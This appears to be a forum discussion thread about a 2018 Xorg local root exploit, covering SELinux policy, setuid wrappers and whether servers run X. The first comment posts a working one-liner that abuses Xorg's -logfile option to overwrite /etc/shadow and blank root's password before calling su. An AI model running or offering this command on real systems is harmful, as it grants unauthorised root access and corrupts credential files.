News for hackers. Stuff that matters.
Re:EXploit X: “Give Me Root” [video] by DyslexicAtheist on Saturday November 10, 2018 @07:29AM (#18421073)
# get root:

   cd /etc; Xorg -fp "root::<passwd>::" -logfile shadow :1;su
Re:EXploit X: “Give Me Root” [video] by dan1234 on Sunday November 11, 2018 @07:36AM (#18426098)
How many linux servers have Xorg installed? Certainly none of mine, though I mainly work with web & db servers.
Re:EXploit X: “Give Me Root” [video] by pastage on Sunday November 11, 2018 @07:44AM (#18426120)
Lots of RHEL servers do, but I would guess that selinux stops this exploit, I see no reason for X to have write permission in /etc.
Re:EXploit X: “Give Me Root” [video] by gizmo686 on Sunday November 11, 2018 @03:22PM (#18428365)
Redhat ships with a targeted policy. Most of the non-network programs are put in a very permissive domain to avoid breakage.

I just checked the CentOS policy[0] (not at work and don't have easy access to the Redhat repos).

It appears that xserver_t does have write access to both etc_t and shadow_t [1].

More specifically, xserver_t is part of the selinux_unconfined_type attribute, which means that it can do pretty much anything. (Even more specifically, it is part of the files_unconfined_type attribute, which gives it write permissions to everything in file_type):

  > sesearch --allow -s xserver_t -t shadow_t -c file policy.31
  allow files_unconfined_type file_type:file execmod; [ selinuxuser_execmod ]:True
  allow files_unconfined_type file_type:file { append audit_access create execute execute_no_trans getattr ioctl link lock mounton open quotaon read relabelfrom relabelto rename setattr swapon unlink write };

[0] https://centos.pkgs.org/7/centos-updates-x86_64/selinux-poli...

[1] Because of its sensitive nature, /etc/shadow has its own SELinux label

Re:EXploit X: “Give Me Root” [video] by stutonk on Sunday November 11, 2018 @08:51AM (#18426350)
Re:EXploit X: “Give Me Root” [video] by k_sze on Sunday November 11, 2018 @07:58PM (#18429833)
Some people install Xorg on their servers because they need to render stuff (e.g. using OpenGL or Vulkan).
Re:EXploit X: “Give Me Root” [video] by gdamjan1 on Monday November 12, 2018 @05:50PM (#18436732)
that's not needed at all, unless you have legacy applications.

you can open a dri render device node, and use it directly

Re:EXploit X: “Give Me Root” [video] by NullPrefix on Sunday November 11, 2018 @07:47AM (#18426131)
xorg-server doesn't need suid useflag these days anymore, does it?
Re:EXploit X: “Give Me Root” [video] by acd on Sunday November 11, 2018 @12:39PM (#18427503)
The Xorg process runs as the root user unless you are using Wayland.

innovative way of using X11.

Re:EXploit X: “Give Me Root” [video] by megous on Sunday November 11, 2018 @08:26AM (#18426261)
% ls -l /bin/Xorg -rwxr-xr-x 1 root root 271 Oct 25 18:42 /bin/Xorg
Re:EXploit X: “Give Me Root” [video] by caf on Sunday November 11, 2018 @08:52AM (#18426355)
That 271 byte file is just a shell script that execs either Xorg.wrap or Xorg from the X basedir (eg /usr/lib/xorg/). One of those target files is usually setuid.

If you have Xorg.wrap, it will be the setuid file and it is usually configured to drop root before executing the real Xorg if root isn't needed (eg. KMS is available).